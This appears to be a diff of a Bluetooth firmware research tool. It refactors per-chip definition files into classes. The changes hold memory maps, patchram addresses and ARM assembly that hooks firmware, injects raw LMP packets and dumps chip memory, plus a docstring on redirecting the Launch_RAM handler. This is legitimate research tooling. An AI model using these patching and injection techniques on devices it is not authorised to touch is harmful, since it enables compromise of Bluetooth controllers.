TRACEPOINT_HOOKS_LOCATION: int
TRACEPOINT_RAM_DUMP_PKT_COUNT = None
CONNECTION_STRUCT_LENGTH: int
FW_NAME: str
QUEUE_NAMES: List[str]
QUEUE_HEAD: Address
BLOC_HEAD: Address
SENDLCP_CODE_BASE_ADDRESS: Address
SENDLCP_ASM_CODE: str
SENDLMP_CODE_BASE_ADDRESS: Address
SENDLMP_ASM_CODE: str
FUZZLMP_HOOK_ADDRESS: Address
FUZZLMP_CODE_BASE_ADDRESS: Address
FUZZLMP_ASM_CODE: str
CONNECTION_LIST_ADDRESS: Address
CONNECTION_ARRAY_ADDRESS: Address
CONNECTION_MAX: int
PATCHRAM_VALUE_TABLE_ADDRESS: Address
PATCHRAM_TARGET_TABLE_ADDRESS: Address
PATCHRAM_ENABLED_BITMAP_ADDRESS: Address
PATCHRAM_ALIGNED: bool
PATCHRAM_NUMBER_OF_SLOTS: int
LAUNCH_RAM_PAUSE = None
READ_MEM_ALIGNED_ASM_LOCATION: Address
READ_MEM_ALIGNED_ASM_SNIPPET: str
TRACEPOINT_HOOK_SIZE = None
TRACEPOINT_BODY_ASM_LOCATION: Address
TRACEPOINT_HOOK_ASM = None
class Firmware(object):
firmware: FirmwareDefinition
def __init__(self, version=None, iOS=False):
"""
Load and initialize the actual firmware add-ons for Nexus 5, Raspi3, etc.
@@ -35,40 +108,53 @@ class Firmware:
"""
self.version = version
self.firmware = None
if version:
# get LMP Subversion
log.info("Chip identifier: 0x%04x (%03d.%03d.%03d)" %
(version, version >> 13, (version & 0xf00) >> 8, version & 0xff))
log.info(
"Chip identifier: 0x%04x (%03d.%03d.%03d)"
% (version, version >> 13, (version & 0xF00) >> 8, version & 0xFF)
)
try:
# Fix for duplicate version number of evaluation board / iPhones
if iOS and version==0x420e:
self.firmware = __import__(__name__ + '_' + hex(version) + '_iphone', fromlist=[''])
if iOS and version == 0x420E:
self.firmware = self._module_to_firmware_definition(
__import__(
__name__ + "_" + hex(version) + "_iphone", fromlist=[""]
)
)
log.info("Using fw_" + hex(version) + "_iphone.py")
else:
self.firmware = __import__(__name__ + '_' + hex(version), fromlist=[''])
self.firmware = self._module_to_firmware_definition(
__import__(__name__ + "_" + hex(version), fromlist=[""])
)
log.info("Using fw_" + hex(version) + ".py")
except ImportError:
self.firmware = None
pass
if not version or not self.firmware:
self.firmware = __import__(__name__ + '_default', fromlist=[''])
self.firmware = self._module_to_firmware_definition(
__import__(__name__ + "_default", fromlist=[""])
)
log.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
def _module_to_firmware_definition(self, fw: ModuleType) -> FirmwareDefinition:
"""
Wrap existing usages where the module was used and extract the new FirmwareDefinition class
class MemorySection:
"""
All firmwares have memory sections that can be RAM, ROM or neither of both.
"""
def __init__(self, start_addr, end_addr, is_rom, is_ram):
self.start_addr = start_addr
self.end_addr = end_addr
self.is_rom = is_rom
self.is_ram = is_ram
:param fw:
:return:
"""
_types = {
name: cls
for name, cls in fw.__dict__.items()
if isinstance(cls, type)
and issubclass(cls, FirmwareDefinition)
and not cls is FirmwareDefinition
}
def size(self):
return self.end_addr - self.start_addr
if len(_types) == 1:
return list(_types.values())[0]
+129 -122
View File
@@ -20,135 +20,142 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Samsung S10/S10e/S10+
FW_NAME = "BCM4375B1"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Device Infos
DEVICE_NAME = 0x207f2a
BD_ADDR = 0x2026e2
class BCM4375B1(FirmwareDefinition):
# Firmware Infos
# Samsung S10/S10e/S10+
FW_NAME = "BCM4375B1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x0013ffff, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017ffff, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x0037ffff, False, True),
]
# Device Infos
DEVICE_NAME = 0x207F2A
BD_ADDR = 0x2026E2
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
# Assembly of the original function from an eval board does not work...
#TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
#TRACEPOINT_HOOKS_LOCATION = 0x00218500
#TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x0037FFFF, False, True),
]
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
TRACEPOINT_BODY_ASM_SNIPPET = """
BLOC_HEAD = 0x20075C
BLOC_NG = True
mov r8, lr // save link register in r8
b delete_slot
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
# Assembly of the original function from an eval board does not work...
# TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
# TRACEPOINT_HOOKS_LOCATION = 0x00218500
# TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0x2774 // memcpy(dst, src, len) #DONE
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x6cfa8 // hci_sendEvent #DONE
// restore status register
msr cpsr_f, r5
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
// not possible... could not find patch_uninstallPatchEntry(slot)
// -> disable TP by hand, we stored in r9
// TODO - does not work??
delete_slot:
mov r0, #0
mov r1, r0
lsl r0, r0, #0x2
ldr r3, =0x00310404
sub.w r0, r0, #0x400
add r3, #0x3c
add r0, r3
movw r2, #0xffff
str r2, [r0, #0x0]
ldr r0,=0x00310404
add r0, #0x2c
ldr r2, [r0,#0x0]
mov r3, #0x1
lsl r3, r1
bic r2, r3
str r2, [r0, #0x0]
mov lr, r8 // restore lr from r8
bx lr // return
.align
patchram:
.byte 0x04
.byte 0x04
.byte 0x31
.byte 0x00
"""
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
b delete_slot
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0x2774 // memcpy(dst, src, len) #DONE
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x6cfa8 // hci_sendEvent #DONE
// restore status register
msr cpsr_f, r5
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
// not possible... could not find patch_uninstallPatchEntry(slot)
// -> disable TP by hand, we stored in r9
// TODO - does not work??
delete_slot:
mov r0, #0
mov r1, r0
lsl r0, r0, #0x2
ldr r3, =0x00310404
sub.w r0, r0, #0x400
add r3, #0x3c
add r0, r3
movw r2, #0xffff
str r2, [r0, #0x0]
ldr r0,=0x00310404
add r0, #0x2c
ldr r2, [r0,#0x0]
mov r3, #0x1
lsl r3, r1
bic r2, r3
str r2, [r0, #0x0]
mov lr, r8 // restore lr from r8
bx lr // return
.align
patchram:
.byte 0x04
.byte 0x04
.byte 0x31
.byte 0x00
"""
+58 -60
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_0x6119.py
#
@@ -25,70 +25,68 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
# Firmware Infos
# This runs on Rasperry Pi 3
FW_NAME = "BCM43430A1"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Device Infos
DEVICE_NAME = 0x20401C
BD_ADDR = 0x201C64
# Memory Sections
class MemorySection:
def __init__(self, start_addr, end_addr, is_rom, is_ram):
self.start_addr = start_addr
self.end_addr = end_addr
self.is_rom = is_rom
self.is_ram = is_ram
class BCM43430A1(FirmwareDefinition):
# Firmware Infos
# This runs on Rasperry Pi 3
FW_NAME = "BCM43430A1"
def size(self):
return self.end_addr - self.start_addr
# Device Infos
DEVICE_NAME = 0x20401C
BD_ADDR = 0x201C64
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x21ffff, False, True ),
MemorySection(0x260000, 0x268000, True , False),
#MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
]
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
# MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x21FFFF, False, True),
# MemorySection(0x260000, 0x268000, True , False), # might crash? issue 14
# MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
]
# Connection Structure and Table
#CONNECTION_LIST_ADDRESS = 0x204ba8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x150 # TODO
# Connection Structure and Table
# CONNECTION_LIST_ADDRESS = 0x204ba8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x150 # TODO
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21a000
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x8389A // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Heap
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21A000
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x8389A // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
+46
View File
@@ -0,0 +1,46 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class CYW20706(FirmwareDefinition):
# Firmware Infos
# Evaluation Kit CYW20706
FW_NAME = "CYW20706"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x000C7FFF, True, False), # Internal ROM
MemorySection(0x000D0000, 0x000DFFFF, False, True),
MemorySection(0x00200000, 0x00247FFF, False, True), # Internal Memory Cortex M3
]
# Patchram
# PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
# PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
# PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000
# PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = True
# only seems to work 4-byte aligned here ...
+40 -19
View File
@@ -20,27 +20,48 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Evaluation Kit CYW920819
FW_NAME = "CYW20819"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00310000, 0x00321fff, False, True), # HW Regs Cortex M3 (readable)
]
class CYW20819A1(FirmwareDefinition):
"""
CYW20819 is a Cypress evaluation board, the newest one that is currently available.
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
Known issues:
* `Launch_RAM` does not terminate and crashes the board.
To get this working anyway:
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
address of the memory snippet you want to launch. For example, at `0x219000` there is some
free memory. Put the function there. Then:
`internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'): # 0x219001 when you write code to 0x219000`
"""
# Firmware Infos
# Evaluation Kit CYW920819
FW_NAME = "CYW20819A1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00270000, 0x0027FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00310000, 0x00321FFF, False, True), # HW Regs Cortex M3 (readable)
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
+16 -14
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
#
# fw_0x220e.py
#
@@ -22,20 +22,22 @@
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from fw import MemorySection
# Firmware Infos
FW_NAME = "BCM20702A1 (USB Bluetooth dongle)"
class BCM20702A1(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM20702A1" # (USB Bluetooth dongle)
# Device Infos
#DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
#BD_ADDR = 0x280CA4 # rm_deviceBDAddr
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x5ffff, True, False), # Internal ROM
MemorySection(0x80000, 0x9bfff, False, True), # Internal RAM
]
BLOC_HEAD = 0x3166c
# Device Infos
# DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
# BD_ADDR = 0x280CA4 # rm_deviceBDAddr
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x5FFFF, True, False), # Internal ROM
MemorySection(0x80000, 0x9BFFF, False, True), # Internal RAM
]
BLOC_HEAD = 0x3166C
+25 -25
View File
@@ -1,9 +1,5 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_default.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
@@ -22,26 +18,30 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Firmware Infos
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
# Symbols contained in:
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
class BCM20703A2(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0xc7fff, True, False), #0x000c0a97
MemorySection(0xd0000, 0xe0000, False, False), #0x000dd78c
MemorySection(0x200000, 0x240000, False, True ), #0x00217a38
MemorySection(0x260000, 0x268fff, True, False), #0x0026841d
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x338000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False)
]
# Symbols contained in:
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0xC7FFF, True, False), # 0x000c0a97
MemorySection(0xD0000, 0xE0000, False, False), # 0x000dd78c
MemorySection(0x200000, 0x240000, False, True), # 0x00217a38
MemorySection(0x260000, 0x268FFF, True, False), # 0x0026841d
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x338000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
]
+130 -130
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw.py
#
@@ -25,145 +25,145 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# This runs on Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge
FW_NAME = "BCM4358A3"
# Device Infos
DEVICE_NAME = 0x213994 # [type: 1byte] [len: 1byte] [name: len byte] #works
BD_ADDR = 0x201C48 #works
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x9ef00, True , False),
MemorySection(0xd0000, 0xd8000, False, True ), # Patchram values with actual code / hooks
#MemorySection(0xe0000, 0x1e0000, True , False), # all zero
MemorySection(0x200000, 0x22a000, False, True ),
MemorySection(0x260000, 0x268000, True , False),
#MemorySection(0x280000, 0x2a0000, True , False), # all zero
MemorySection(0x300000, 0x301000, False, False),
MemorySection(0x310000, 0x318000, False, True ), # Patchram addresses
MemorySection(0x318000, 0x322000, False, False),
MemorySection(0x324000, 0x368000, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
#MemorySection(0x770000, 0x78ffff, False, False), #TODO maybe more, but all zero
]
class BCM4358A3(FirmwareDefinition):
# Firmware Infos
# This runs on Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge
FW_NAME = "BCM4358A3"
# Device Infos
DEVICE_NAME = 0x213994 # [type: 1byte] [len: 1byte] [name: len byte] #works
BD_ADDR = 0x201C48 # works
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0x9EF00, True, False),
MemorySection(
0xD0000, 0xD8000, False, True
), # Patchram values with actual code / hooks
# MemorySection(0xe0000, 0x1e0000, True , False), # all zero
MemorySection(0x200000, 0x22A000, False, True),
MemorySection(0x260000, 0x268000, True, False),
# MemorySection(0x280000, 0x2a0000, True , False), # all zero
MemorySection(0x300000, 0x301000, False, False),
MemorySection(0x310000, 0x318000, False, True), # Patchram addresses
MemorySection(0x318000, 0x322000, False, False),
MemorySection(0x324000, 0x368000, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
# MemorySection(0x770000, 0x78ffff, False, False), #TODO maybe more, but all zero
]
# Connection Struct and Table
# Nexus 6P works differently:
# address 0x21AD5C holds a list with pointers to connection structs!
# CONNECTION_ARRAY_ADDRESS = 0x21ad88 #potentially the first valid address... but not part of an array
# CONNECTION_ARRAY_SIZE = 11 #is still 11 for Nexus 6P, but no longer hard-coded
CONNECTION_LIST_ADDRESS = 0x21AD5C
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x168 # ??
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 192
PATCHRAM_ALIGNED = False # we can use standard ReadRAM HCI on Nexus 6P
LAUNCH_RAM_PAUSE = 8 # bugfix: pause between multiple readMemAligned() calls in seconds
# not a problem: doing multiple writeMem in a row
# the thing that crashes: executing multiple launchRam() in a row: sendhcicmd 0xfc4e 0x473CC
# crashes even when executing 0x5E860 twice, which is just a nullsub
# also crashes during the pause if there are other hci events
# Snippet for sendLmpPacket()
SENDLMP_CODE_BASE_ADDRESS = 0xD5130
# TODO already works except for correct mac address - so still a problem with the connection #
SENDLMP_ASM_CODE = """
push {r4,lr}
// malloc buffer for LMP packet
bl 0x3AAA8 // malloc_0x20_bloc_buffer_memzero
mov r4, r0 // store buffer for LMP packet inside r4
// fill buffer
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
// The first 12 bytes are (supposely?) unused and remain zero.
ldr r1, =payload // LMP packet is stored at the end of the snippet
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
// function will use the LMP opcode to lookup the actual size and
// use it for actually transmitting the correct number of bytes.
bl 0x63900+1 // memcpy
// load conn struct pointer (needed for determine if we are master or slave)
mov r0, %d // connection number is injected by sendLmpPacket()
bl 0x473CC // find connection struct from conn nr (r0 will hold pointer to conn struct) //FIXME
//FIXME: mac address is always 1f:8d:00:00:00:00
// set tid bit if we are the slave
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
eor r1, 0x1 // invert and isolate the bit to get the correct value for the TID bit
and r1, 0x1
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
// the LSB (least significant bit) of this shifted opcode byte.
orr r2, r1 // insert the TID bit into the byte
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
# Connection Struct and Table
// send LMP packet
mov r1, r4 // load the address of the LMP packet buffer into r1.
// r0 still contains the connection number.
pop {r4,lr} // restore r4 and the lr
b 0xAF4C // branch to send_LMP_packet. send_LMP_packet will do the return for us.
# Nexus 6P works differently:
# address 0x21AD5C holds a list with pointers to connection structs!
# CONNECTION_ARRAY_ADDRESS = 0x21ad88 #potentially the first valid address... but not part of an array
# CONNECTION_ARRAY_SIZE = 11 #is still 11 for Nexus 6P, but no longer hard-coded
CONNECTION_LIST_ADDRESS = 0x21AD5C
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x168 #??
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 192
PATCHRAM_ALIGNED = False #we can use standard ReadRAM HCI on Nexus 6P
# Assembler snippet for the readMemAligned() function
READ_MEM_ALIGNED_ASM_LOCATION = 0xD5030
READ_MEM_ALIGNED_ASM_SNIPPET = """
push {r4, lr}
// malloc HCI event buffer
mov r1, 0xff // event code is 0xff (vendor specific HCI Event)
mov r2, %d // readMemAligned() injects the number of bytes it wants to read here
add r2, 4 // + 'READ'
mov r0, r2
adds r0, #2 // r0 needs to be 2 higher than r2 in all malloc_hci_event_buffer calls
bl 0x22C4 // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
LAUNCH_RAM_PAUSE = 8 # bugfix: pause between multiple readMemAligned() calls in seconds
# not a problem: doing multiple writeMem in a row
# the thing that crashes: executing multiple launchRam() in a row: sendhcicmd 0xfc4e 0x473CC
# crashes even when executing 0x5E860 twice, which is just a nullsub
# also crashes during the pause if there are other hci events
// append our custom header (the word 'READ') after the event code and event length field
add r0, 10 // write after the length field (offset 10 in event struct)
ldr r1, =0x44414552 // 'READ'
str r1, [r0]
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
// copy data to buffer
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
loop:
